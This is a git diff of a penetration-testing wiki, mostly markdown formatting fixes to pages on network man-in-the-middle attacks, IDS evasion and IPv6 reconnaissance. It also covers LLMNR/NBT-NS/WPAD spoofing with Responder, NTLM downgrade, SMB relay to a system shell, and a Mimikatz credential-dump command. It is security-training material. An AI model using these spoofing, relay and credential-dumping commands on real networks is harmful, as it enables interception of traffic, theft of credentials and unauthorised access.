priority details. -HSRP is a proprietary Cisco protocol with no RFC, whereas VRRP is standardized. To evaluate HSRP and VRRP support within an environment, use a network sniffer to capture the management traffic. You can use a number of tools to craft HSRP messages \(including Scapy and Yersinia\), but only Loki provides VRRP support at this time. +HSRP is a proprietary Cisco protocol with no RFC, whereas VRRP is standardized. To evaluate HSRP and VRRP support within an environment, use a network sniffer to capture the management traffic. You can use a number of tools to craft HSRP messages (including Scapy and Yersinia), but only Loki provides VRRP support at this time. -For more information about how to attack this protocols go to the book _**Network Security Assessment: Know Your Network \(3rd edition\)**_ +For more information about how to attack this protocols go to the book _**Network Security Assessment: Know Your Network (3rd edition)**_ ### RIP -Three versions of the Routing Information Protocol \(RIP\) exist—RIP, RIPv2, and RIPng. RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers within IPv6. +Three versions of the Routing Information Protocol (RIP) exist—RIP, RIPv2, and RIPng. RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers within IPv6. -For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network \(3rd edition\).**_ +For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network (3rd edition).**_ #### EIGRP -The Enhanced Interior Gateway Routing Protocol \(EIGRP\) is Cisco proprietary and can be run with or without authentication. \_\_[Coly](https://code.google.com/p/coly/) supports capture of EIGRP broadcasts and injection of packets to manipulate routing configuration. +The Enhanced Interior Gateway Routing Protocol (EIGRP) is Cisco proprietary and can be run with or without authentication. \__[Coly](https://code.google.com/p/coly/) supports capture of EIGRP broadcasts and injection of packets to manipulate routing configuration. -For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network \(3rd edition\).**_ +For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network (3rd edition).**_ ### OSPF -Most Open Shortest Path First \(OSPF\) implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes. The route parameters are set by using the _Injection_ tab, and the key set under _Connection_. +Most Open Shortest Path First (OSPF) implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes. The route parameters are set by using the _Injection_ tab, and the key set under _Connection_. -For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network \(3rd edition\).**_ +For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network (3rd edition).**_ _\*\*\*\*_ -You can find some more information about network attacks [here](https://github.com/Sab0tag3d/MITM-cheatsheet). _\*\*\(TODO: Read it all and all new attacks if any\)_ +You can find some more information about network attacks [here](https://github.com/Sab0tag3d/MITM-cheatsheet). _\*\*(TODO: Read it all and all new attacks if any)_ ## **Spoofing** -The attacker configures all the network parameters \(GW, IP, DNS\) of the new member of the network sending fake DHCP responses. +The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. ```bash Ettercap @@ -500,7 +500,7 @@ hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw ### DNS Spoofing -The attacker will resolve some \(or all\) the domains that the victim ask for. +The attacker will resolve some (or all) the domains that the victim ask for. ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on @@ -517,7 +517,7 @@ dig @localhost domain.example.com # Test the configured DNS Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. -```text +``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ root@kali:~# arp-scan -l | tee hosts.txt @@ -537,20 +537,20 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Microsoft systems use Link-Local Multicast Name Resolution \(LLMNR\) and the NetBIOS Name Service \(NBT-NS\) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS \(mDNS\) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services. +Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services. -You can impersonate services that are searched by hosts using Responder to send fake responses. +You can impersonate services that are searched by hosts using Responder to send fake responses.\ Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Many browsers use Web Proxy Auto-Discovery \(WPAD\) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL \(e.g., [http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat)\) upon being identified through any of the following: +Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., [http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat)) upon being identified through any of the following: * DHCP, using a code 252 entry[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) * DNS, searching for the _wpad_ hostname in the local domain -* Microsoft LLMNR and NBT-NS \(in the event of DNS lookup failure\) +* Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure) -Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS. +Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS.\ Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) @@ -587,7 +587,7 @@ dhcp6.spoof.domains mitm6 ``` -### HTTP \(fake page and JS code injection\) +### HTTP (fake page and JS code injection) ## Internet Attacks @@ -608,20 +608,20 @@ More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Bla ### sslStrip+ and dns2proxy for bypassing HSTS -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ \(note the **extra** "**w**"\) and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **\(the attacker\)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**. +The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. -More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). +More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com/) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory ## TCP listen in port -```text +``` sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` @@ -630,7 +630,7 @@ socat TCP4-LISTEN:80,fork,reuseaddr - #### Generate keys and self-signed certificate -```text +``` FILENAME=server # Generate a public/private key pair: openssl genrsa -out $FILENAME.key 1024 @@ -642,20 +642,20 @@ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem #### Listen using certificate -```text +``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` #### Listen using certificate and redirect to the hosts -```text +``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**. +Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman \(one that do not need to decrypt anything with the real private key\) and when the client request a probe of the real private key \(like a hash\) send a fake probe and expect that the client does not check this. +Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. ## Bettercap 2 @@ -687,31 +687,30 @@ wifi.recon on; wifi.ap ### Active Discovery Notes -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP \(Port Unreachable\) is sent. +Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. ### **ARP discover** ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. -### **mDNS \(multicast DNS\)** +### **mDNS (multicast DNS)** -Bettercap send a MDNS request \(each X ms\) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". +Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". **Tools** -* Avahi-browser \(--all\) -* Bettercap \(net.probe.mdns\) +* Avahi-browser (--all) +* Bettercap (net.probe.mdns) * Responder -### **NBNS \(NetBios Name Server\)** +### **NBNS (NetBios Name Server)** Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". -### **SSDP \(Simple Service Discovery Protocol\)** +### **SSDP (Simple Service Discovery Protocol)** -Bettercap broadcast SSDP packets searching for all kind of services \(UDP Port 1900\). +Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). -### **WSD \(Web Service Discovery\)** - -Bettercap broadcast WSD packets searching for services \(UDP Port 3702\). +### **WSD (Web Service Discovery)** +Bettercap broadcast WSD packets searching for services (UDP Port 3702). diff --git a/pentesting/pentesting-network/ids-evasion.md b/pentesting/pentesting-network/ids-evasion.md index c3748739..a4c889f0 100644 --- a/pentesting/pentesting-network/ids-evasion.md +++ b/pentesting/pentesting-network/ids-evasion.md @@ -4,23 +4,23 @@ Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. -**Nmap option:** `--ttlvalue ` +**Nmap option: **`--ttlvalue ` ## Avoiding signatures Just add garbage data to the packets so the IPS/IDS signature is avoided. -**Nmap option:** `--data-length 25` +**Nmap option: **`--data-length 25` ## **Fragmented Packets** Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. -**Nmap option:** `-f` +**Nmap option: **`-f` ## **Invalid** _**checksum**_ -Sensors usually don't calculate checksum for performance reasons. _****_So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +Sensors usually don't calculate checksum for performance reasons._** **_So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host. **Example: Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. @@ -30,15 +30,14 @@ A sensor might disregard packets with certain flags and options set within IP an ## **Overlapping** -It is possible that when you fragment a packet, some kind of overlapping exists between packets \(maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3\). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted. +It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. * **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. * **Linux**: Like BSD, but it prefers the last packet with the same offset. -* **First** \(Windows\): First value that comes, value that stays. -* **Last** \(cisco\): Last value that comes, value that stays. +* **First** (Windows): First value that comes, value that stays. +* **Last** (cisco): Last value that comes, value that stays. ## Tools * [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke) - diff --git a/pentesting/pentesting-network/pentesting-ipv6.md b/pentesting/pentesting-network/pentesting-ipv6.md index 322d983d..6192a238 100644 --- a/pentesting/pentesting-network/pentesting-ipv6.md +++ b/pentesting/pentesting-network/pentesting-ipv6.md @@ -4,13 +4,13 @@ ### Networks -In an IPv6 address, the **first 48 bits are the network prefix**. The **next 16 bits are the subnet ID** and are used for defining subnets. The last **64 bits are the interface identifier** \(which is also known as the Interface ID or the Device ID, is for devices\). If necessary, the bits that are normally reserved for the Device ID can be used for additional subnet masking. +In an IPv6 address, the **first 48 bits are the network prefix**. The **next 16 bits are the subnet ID** and are used for defining subnets. The last **64 bits are the interface identifier** (which is also known as the Interface ID or the Device ID, is for devices). If necessary, the bits that are normally reserved for the Device ID can be used for additional subnet masking. -There is not ARP in IPv6. Instead, there is **ICMPv6 NS \(Neighbor Solicitation\) and NA \(Neighbor Advertisement\)**. The **NS** is used to resolve and address, so it sends **multicast** packets. The **NA** is **unicast** as is used to answer the NS. A NA packet could also be sent without needing a NS packet. +There is not ARP in IPv6. Instead, there is **ICMPv6 NS (Neighbor Solicitation) and NA (Neighbor Advertisement)**. The **NS **is used to resolve and address, so it sends **multicast **packets. The **NA **is **unicast **as is used to answer the NS. A NA packet could also be sent without needing a NS packet. **0:0:0:0:0:0:0:1** = 1 – This is 127.0.0.1 equivalent in IPv4. -**Link-local Addresses:** These are private address that is not meant to be routed on the internet. They can be used locally by private or temporary LANs for sharing and distribution of file among devices on the LAN. Other devices in your local LAN using this kind of addresses can be found sending a pig to the multicast address ff02::01 +**Link-local Addresses:** These are private address that is not meant to be routed on the internet. They can be used locally by private or temporary LANs for sharing and distribution of file among devices on the LAN. Other devices in your local LAN using this kind of addresses can be found sending a pig to the multicast address ff02::01\ **FE80::/10** – Link-local unicast address range. ```bash @@ -21,7 +21,7 @@ ip neigh | grep ^fe80 alive6 eth0 ``` -If you **know the MAC address of a host in the same net** as you \(you could just ping its ipv4 address and view the arp table to found its MAC address\), you can calculate his Link-local address to communicate with him. +If you** know the MAC address of a host in the same net** as you (you could just ping its ipv4 address and view the arp table to found its MAC address), you can calculate his Link-local address to communicate with him.\ Suppose the **MAC address** is **`12:34:56:78:9a:bc`** 1. To IPv6 notation: **`1234:5678:9abc`** @@ -29,26 +29,26 @@ Suppose the **MAC address** is **`12:34:56:78:9a:bc`** 3. Invert seventh bit from the left, from 0001 0010 to 0001 0000: `fe80::1`**`0`**`34:5678:9abc` 4. `fe80::1034:5678:9abc` -**Unique local address:** This type of ipv6 address also not intended to be routed on the public internet. Unique local is a replacement of site-local address, that allows communication within a site while being routable to a multiple local networks. +**Unique local address:** This type of ipv6 address also not intended to be routed on the public internet. Unique local is a replacement of site-local address, that allows communication within a site while being routable to a multiple local networks.\ **FEC00::/7** – The unique local address range. -**Multicast Address:** This can also be refered to as One-to-Many. Packets addressed to multicast address are delivered to all interface identified by the multicast address. Multicast address types are easily notable because they normally begins with FF. +**Multicast Address:** This can also be refered to as One-to-Many. Packets addressed to multicast address are delivered to all interface identified by the multicast address. Multicast address types are easily notable because they normally begins with FF.\ **FF00::/8** – The multicast range. -**Anycast:** This form of ipv6 address is similar to the multicast address with a slight difference. Anycast address can also be refered to as One to Nearest. It can be used to address packets meant for multiple interfaces; but usually it sends packets to the first interface it finds as defined in the routing distance. This means it send packets to the closest interface as determined by routing protocols. -**20000::/3** – The global unicast address range. +**Anycast:** This form of ipv6 address is similar to the multicast address with a slight difference. Anycast address can also be refered to as One to Nearest. It can be used to address packets meant for multiple interfaces; but usually it sends packets to the first interface it finds as defined in the routing distance. This means it send packets to the closest interface as determined by routing protocols.\ +**20000::/3 **– The global unicast address range. -fe80::/10--> Unique Link-Local \(169.254.x.x\) \[fe80:0000:0000:0000:0000:0000:0000:0000,febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff\] -fc00::/7 --> Unique Local-Unicast \(10.x.x.x, 172.16.x.x, 192.168.x.x\) \[\] -2000::/3 --> Global Unicast -ff02::1 --> Multicast All Nodes -ff02::2 --> Multicast Router Nodes +fe80::/10--> Unique Link-Local (169.254.x.x) \[fe80:0000:0000:0000:0000:0000:0000:0000,febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff]\ +fc00::/7 --> Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x) \[]\ +2000::/3 --> Global Unicast\ +ff02::1 --> Multicast All Nodes\ +ff02::2 --> Multicast Router Nodes ### **Guess the IPv6 of a machine** **Way 1** -The IPv6 of fe80::/10 are based on the MAC. If you have the IPv6 of a device inside a network and you want to guess the IPv6 of another device of the network, you can get its MAC address using a ping \(inside the arp table\). +The IPv6 of fe80::/10 are based on the MAC. If you have the IPv6 of a device inside a network and you want to guess the IPv6 of another device of the network, you can get its MAC address using a ping (inside the arp table). **Way2** @@ -85,7 +85,7 @@ site:ipv6./ ### DNS -You could also try to search "**AXFR**"\(zone transfer\), "**AAAA**"\(IPv6\) or even "**ANY**" \(all\) registry in DNS ****to find IPv6 addresses. +You could also try to search "**AXFR**"(zone transfer), "**AAAA**"(IPv6) or even "**ANY**" (all) registry in DNS** **to find IPv6 addresses. ### Ping6 @@ -95,4 +95,3 @@ Once some IPv6 devices of an organisation have been found, you could try to use * [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) * [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) - diff --git a/pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index d00e98c2..bdfa5281 100644 --- a/pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -4,38 +4,38 @@ ### LLMNR, NBT-NS, and mDNS -Microsoft systems use Link-Local Multicast Name Resolution \(LLMNR\) and the NetBIOS Name Service \(NBT-NS\) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS \(mDNS\) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services. +Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services. -You can impersonate services that are searched by hosts using Responder to send fake responses. +You can impersonate services that are searched by hosts using Responder to send fake responses.\ Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### WPAD -Many browsers use Web Proxy Auto-Discovery \(WPAD\) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL \(e.g., _http://wpad.example.org/wpad.dat_\) upon being identified through any of the following: +Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., _http://wpad.example.org/wpad.dat_) upon being identified through any of the following: * DHCP, using a code 252 entry[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) * DNS, searching for the _wpad_ hostname in the local domain -* Microsoft LLMNR and NBT-NS \(in the event of DNS lookup failure\) +* Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure) Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS. ## Responder -> Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to _specific_ NBT-NS \(NetBIOS Name Service\) queries based on their name suffix \(see: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)\). By default, the tool will only answer to File Server Service request, which is for SMB. +> Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to _specific_ NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). By default, the tool will only answer to File Server Service request, which is for SMB. > > The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. -[**Responder**](https://github.com/lgandx/Responder) is installed in kali by default and the config file is located in _/etc/responder/Responder.conf_ -You can find here **Responder for windows** here: [https://github.com/lgandx/Responder-Windows](https://github.com/lgandx/Responder-Windows) +[**Responder**](https://github.com/lgandx/Responder) is installed in kali by default and the config file is located in _/etc/responder/Responder.conf_\ +__You can find here **Responder for windows **here: [https://github.com/lgandx/Responder-Windows](https://github.com/lgandx/Responder-Windows)__\ __To run default Responder behaviour you only have to execute: ```bash responder -I ``` -![](../../.gitbook/assets/image%20%28235%29.png) +![](<../../.gitbook/assets/image (172).png>) -An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked** [**following this guide**](../../windows/ntlm/#ntlmv1-attack)**.** +An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked **[**following this guide**](../../windows/ntlm/#ntlmv1-attack)**.** ```bash #Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788" @@ -48,7 +48,7 @@ By **default**, the **WPAD impersonation won't be executed**, but you can execut responder -I --wpad ``` -Responder can also send **fake DNS responses** \(so the IP of the attacker is resolved\) and can inject **PAC files** so the victim will get the IP of the **attacker as a proxy**. +Responder can also send **fake DNS responses** (so the IP of the attacker is resolved) and can inject** PAC files** so the victim will get the IP of the **attacker as a proxy**. ```bash responder.py -I -w On #If the computer detects the LAN configuration automatically, this will impersonate it @@ -60,84 +60,86 @@ You can also **resolve NetBIOS** requests with **your IP**. And create an **auth responder.py -I -rPv ``` -You won't be able to intercept NTLM hashes \(normally\), but you can easily grab some **NTLM challenges and responses** that you can **crack** using for example _**john**_ option `--format=netntlmv2`. +You won't be able to intercept NTLM hashes (normally), but you can easily grab some **NTLM challenges and responses** that you can **crack **using for example _**john **_option` --format=netntlmv2`. -The **logs and the challenges** of default _**Responder**_ installation in kali can be found in `/usr/share/responder/logs` +The** logs and the challenges** of default _**Responder **_installation in kali can be found in `/usr/share/responder/logs` ### Capturing credentials -Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" \(most probably a **NTLMv2 Challenge/Response**\): +Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols,** he will try to authenticate against Responde**r and Responder will be able to **capture **the "credentials" (most probably a **NTLMv2 Challenge/Response**): -![](../../.gitbook/assets/poison%20%281%29%20%281%29.jpg) +![](<../../.gitbook/assets/poison (1) (1).jpg>) ## **Inveigh** > Inveigh is a PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. -[**Inveigh** ](https://github.com/Kevin-Robertson/Inveigh)is a PowerShell script that has the same main features as Responder. +[**Inveigh **](https://github.com/Kevin-Robertson/Inveigh)is a PowerShell script that has the same main features as Responder. ![](../../.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png) ## Relay Attack -**Most of the information for this section was taken from** [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/)\*\*\*\* +**Most of the information for this section was taken from **[**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/)**** -This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**. -Please, note that the relayed authentication must be from a **user which has Local Admin access to the relayed** host and **SMB signing must be disabled**. +This attack uses the Responder toolkit to **capture SMB authentication sessions **on an internal network, and **relays **them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\ +Please, note that the relayed authentication must be from a **user which has Local Admin access to the relayed **host and **SMB signing must be disabled**. -The 3 main **tools** to perform this attack are: **smb\_relay** \(metasploit\), **MultyRelay** \(responder\), and **smbrealyx** \(impacket\). +The 3 main **tools **to perform this attack are: **smb_relay **(metasploit), **MultyRelay **(responder), and **smbrealyx **(impacket). -Independently of the tool, first, you need to **turn Off SMB and HTTP servers** in ****_**/usr/share/responder/Responder.conf**_ and then execute responder on the desired **interface**: `responder -I eth0 -rv` +Independently of the tool, first, you need to **turn Off SMB and HTTP servers** in ** **_**/usr/share/responder/Responder.conf **_and then execute responder on the desired **interface**: `responder -I eth0 -rv` -You can perform this attack using **metasploit module**: `exploit/windows/smb/smb_relay` -The option `SRVHOST` is used to point the server **were you want to get access**. -Then, when **any host try to authenticate against you**, metasploit will **try to authenticate against the other** server. +You can perform this attack using **metasploit module**: `exploit/windows/smb/smb_relay`\ +The option `SRVHOST `is used to point the server **were you want to get access**.\ +Then, when **any host try to authenticate against you**, metasploit will** try to authenticate against the other **server. -You **can't authenticate against the same host that is trying to authenticate against you** \(MS08-068\). **Metasploit** will **always** send a "_**Denied**_" **response** to the **client** that is trying to connect to you. +You** can't authenticate against the same host that is trying to authenticate against you** (MS08-068). **Metasploit **will **always **send a "_**Denied**_" **response **to the **client **that is trying to connect to you. -If you want to use **smbrelayx** now you should run: +If you want to use **smbrelayx **now you should run: -```text +``` smbrelayx.py -h -c "ipconfig" ``` -If you want to use **MultiRelay**, go to _**/usr/share/responder/tools**_ and execute MultiRelay \(`-t -u `\): +If you want to use **MultiRelay**, go to _**/usr/share/responder/tools **_and execute MultiRelay (`-t -u `): ```bash python MultiRelay.py -t -u ALL #If "ALL" then all users are relayed ``` -![](../../.gitbook/assets/image%20%28209%29.png) +![](<../../.gitbook/assets/image (209) (1).png>) -### Post-Exploitation \(MultiRelay\) +### Post-Exploitation (MultiRelay) -**At this point you can shut off Responder; we don’t need it anymore. -With the shell access we have obtained, there are many actions that we can perform directly from here:** +**At this point you can shut off Responder; we don’t need it anymore.**\ +**With the shell access we have obtained, there are many actions that we can perform directly from here:** -![Step 41 \| Intrinium.com](https://intrinium.com/wp-content/uploads/step41.png) +![Step 41 | Intrinium.com](https://intrinium.com/wp-content/uploads/step41.png) -**Mimikatz** commands can also be performed directly **from the shell**. Unfortunately, the target used for this tutorial’s antivirus ate my mimikatz, but the following commands can be executed to run mimikatz, as well as the entire pallette of modules.: **`Mimi sekurlsa::logonpasswords`** +**Mimikatz **commands can also be performed directly **from the shell**. Unfortunately, the target used for this tutorial’s antivirus ate my mimikatz, but the following commands can be executed to run mimikatz, as well as the entire pallette of modules.:**` Mimi sekurlsa::logonpasswords`** ## InveighZero -InveighZero is a C\# LLMNR/NBNS/mDNS/DNS/DHCPv6 spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. This version shares many features with the PowerShell version of Inveigh. +InveighZero is a C# 